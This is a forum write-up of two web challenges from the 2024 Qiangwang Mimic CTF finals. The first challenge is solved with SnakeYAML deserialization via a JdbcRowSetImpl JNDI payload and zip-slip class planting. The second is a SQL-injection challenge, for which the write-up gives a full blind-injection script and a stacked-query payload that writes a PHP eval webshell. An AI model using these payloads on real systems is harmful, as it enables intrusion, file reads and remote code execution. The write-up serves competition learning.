2024 强网拟态决赛web 部分wp
1878966834856977 发表于 广东 CTF 264浏览 · 2024-12-01 06:49

turn

出网打法

有个文件上传接口,可以在线解压。

yaml反序列化,固定反序列化/opt/resources下的文件。

黑名单:

{"ScriptEngineManager", "URLClassLoader", "!!", "ClassLoader", "AnnotationConfigApplicationContext", "FileSystemXmlApplicationContext", "GenericXmlApplicationContext", "GenericGroovyApplicationContext", "GroovyScriptEngine", "GroovyClassLoader", "GroovyShell", "ScriptEngine", "ScriptEngineFactory", "XmlWebApplicationContext", "ClassPathXmlApplicationContext", "MarshalOutputStream", "InflaterOutputStream", "FileOutputStream"};

大致看一下,可以利用的点:

  1. /upload处,可以目录穿越,可以传文件到任意为止,但是后缀固定是zip。yaml反序列化不看文件后缀名。
  2. /unzip这里,注意看entry.getName(),没有做检查,也可以穿越,这个比较牛逼,不限后缀,且父目录不存在则会创建。怎么利用呢?像这样:
import zipfile

with zipfile.ZipFile('example.zip', 'w') as zipf:
    zipf.write('your_file','../your_file.txt')

这样的entry.getName()就是带../的。

直接使用unzip命令会跳过目录穿越:

做法就是,绕过黑名单,然后直接打jndi。

%TAG !  tag:yaml.org,2002:
---
!com.sun.rowset.JdbcRowSetImpl
dataSourceName: "ldap://127.0.0.1"
autoCommit: true

不出网打法

好了,现在这题假如不出网怎么打?

现场打的时候,直接打jndi不通外网的vps,所以花了好几个小时本地调试,排查问题,然后摸索不出网的打法。有点头绪之后,发现竟然通接入的vpn的本机ip,就直接打jndi。

结束之后,继续之前的不出网打法思路,最终摸索出来了。

思路:由于已经能达成任意文件写,所以想写一个恶意类,到jdk的类加载路径,然后使用yaml去触发反序列化。

先确定jdk路径:/usr/lib/jvm/java-8-openjdk-amd64/jre/

怎么确定的?本机的jdk8路径是这个,然后借助/upload的目录穿越,穿越到这里,如果这个目录存在,则正常上传文件,否则会提示报错信息。

然后借助/upzip,写一个类,写到/usr/lib/jvm/java-8-openjdk-amd64/jre/classes下。这个目录下的类文件默认都会查找。

恶意类:

public class UnkExp {

    public UnkExp(){
        //    Evil operation
    }

}

yaml

%TAG !  tag:yaml.org,2002:
---
!example.UnkExp

我以为这样会自动调用无参构造。

然后报错:

Caused by: org.yaml.snakeyaml.error.YAMLException: No single argument constructor found for class example.UnkExp : null

虽然不知道为什么,那就再加上一个单参构造,然后继续报错:

Caused by: org.yaml.snakeyaml.error.YAMLException: Unsupported class: class java.lang.Object

为什么呢?比赛时就卡在这个位置。

睡一觉之后继续思考,会不会是因为没有字段?改成这样:

%TAG !  tag:yaml.org,2002:
---
!example.UnkExp
autoCommit: true

类写成这样

public class UnkExp {

    public UnkExp(){}
    public UnkExp(Object o){}

    public void setAutoCommit(boolean o){

    }

}

不报错了,可以成功进setter。

后续就是打内存马。

总结一下,问题还是自己想当然以为会调构造器的,省了字段的这一步。

问题又来了,为什么有字段可以,没字段不行呢?

根据异常去找一下调用栈,看看哪里不一样。

成功触发setter时的调用栈:

at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.constructJavaBean2ndStep(Constructor.java:290)
at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.construct(Constructor.java:171)
at org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:331)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:229)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:219)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructDocument(BaseConstructor.java:173)
at org.yaml.snakeyaml.constructor.BaseConstructor.getSingleData(BaseConstructor.java:157)
at org.yaml.snakeyaml.Yaml.loadFromReader(Yaml.java:490)
at org.yaml.snakeyaml.Yaml.loadAs(Yaml.java:484)

报错Unsupported class: class java.lang.Object时的调用栈

at org.yaml.snakeyaml.constructor.Constructor$ConstructScalar.constructStandardJavaInstance(Constructor.java:513)
at org.yaml.snakeyaml.constructor.Constructor$ConstructScalar.construct(Constructor.java:396)
at org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:331)
at org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:335)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:229)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:219)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructDocument(BaseConstructor.java:173)
at org.yaml.snakeyaml.constructor.BaseConstructor.getSingleData(BaseConstructor.java:157)
at org.yaml.snakeyaml.Yaml.loadFromReader(Yaml.java:490)
at org.yaml.snakeyaml.Yaml.loadAs(Yaml.java:484)

差别在,一个是Constructor$ConstructScalar.construct,一个是Constructor$ConstructMapping.construct

断点打在:Constructor$ConstructYamlObject.construct

发现解析出来的两种Node不一样:

<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:``yaml.org``,2002:example.UnkExp, value=)>
<org.yaml.snakeyaml.nodes.MappingNode (tag=tag:``yaml.org``,2002:com.sun.rowset.JdbcRowSetImpl, values=...

GPT解释:


所以就是有字段值被当做Map,没有字段被当做标量了。

sqlmagic

sql注入。

单双引号井号还有 -- 都被waf拦截

如此闭合:

select x from x where username="$username" and password="$password"
select x from x where username="1\" and password="=0;"

盲注脚本

from dataclasses import dataclass
import requests,time,string
@dataclass
class BasicType:
    value:str
    def __str__(self) -> str:
        return self.value

class Boolean(BasicType):
    pass

@dataclass
class Ascii(BasicType):

    def equals(self,another:'Ascii'):
        r2 = Boolean(f'(({self.value})=({another.value}))')
        return r2

    def greater(self,another:'Ascii'):
        r = Boolean(f"(leAst({self.value},{another.value})in({another.value}))") 
        return r

@dataclass
class String(BasicType):
    def asciiAt(self,index:int) -> Ascii:
        s2 = Ascii(f'(Ascii(right(left({self.value},{index}),1)))')
        return s2
    def equals(self,another:'String') -> Boolean:
        return Boolean(f'(({self.value})in({another.value}))')

def getStringValueByAscii(target:String,len:int=999):
    result = ''
    for i in range(1,len):
        stop = True
        left = 32
        right = 128
        while (right > left):
            mid = (left + right) // 2
            if judgeBoolean(target.asciiAt(i).equals(Ascii(mid))):
                result += chr(mid)
                print(i,result)
                stop = False
                break
            elif judgeBoolean(target.asciiAt(i).greater(Ascii(mid))):
                left = mid
            else:
                right = mid
        if stop:
            break

def condition(res):
    if 'Success' in res.text:
        return True
    return False

def judgeBoolean(target:Boolean):

    url = 'http://172.25.29.19/index.php'
    data = {'username':f"114\\",'password':f'=if({target},0,1);'}
    res = requests.post(url,data=data)
    return condition(res)

if __name__ == '__main__':

    getStringValueByAscii(String('password'))

跑出来密码,但是没啥用。

读变量

思路明显了,估计是要写shell。

先读index.php看看:

getStringValueByAscii(String('hex(load_file(char(47,118,97,114,47,119,119,119,47,104,116,109,108,47,105,110,100,101,120,46,112,104,112)))'))
<?php
session_start();
error_reporting(0);
$con = new PDO("mysql:host=localhost;port=3306;dbname=ctf", 'root', 'root');

if(isset($_POST["username"]) && isset($_POST["password"])){


    $username=$_POST["username"];
    $password=$_POST["password"];

    if(preg_match("/[#'\"*\/<>-]|select|union|case|between|like|regexp|set|do|0x|0b|\s|\w\xa0+\(/is", $username) || preg_match("/[#'\"*\/<>-]|select|union|case|between|like|regexp|set|do|0x|0b|\s|\w\xa0+\(/is", $password)){
        die("waf");
    }

    $sql = "SELECT username FROM user WHERE username = \"$username\" and password = \"$password\""; 
    $ret = $con->query($sql);
    if (count($ret->fetchAll())>0){
        die("Success");
    }
    else{
        die("Wrong username or password");
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login</title>
    <link rel="stylesheet" href="./all.min.css">
    <style>

存在堆叠注入,我还是想当然以为不可以,甚至也没有去测,导致浪费了3 4小时。

过程中尝试各种写shell的绕过,顺便补充了不懂的。

  1. 没有union 和 select,但是有引号时候,可以这样:into outfile '/var/www/html/shell.php' fields terminated by '\<?php assert($_POST["cmd"]);?>'
  2. outfile和dumpfile后面,必须接字符串的常量,函数变换比如char还有反引号都不行。

然后是堆叠,没有set,怎么办呢?测试如下:prepare from 这个语句后边,mariadb可以接字符串表达式,但是mysql必须接字符串常量或者@变量。

用这个::=定义变量语法可以在where字句用
最终payload:

username=123&password=and%a0@c2:=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,49,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,103,46,112,104,112,39,59);prepare%a0p%a0from%a0@c2;execute%a0p;
1 条评论
某人
表情
可输入 255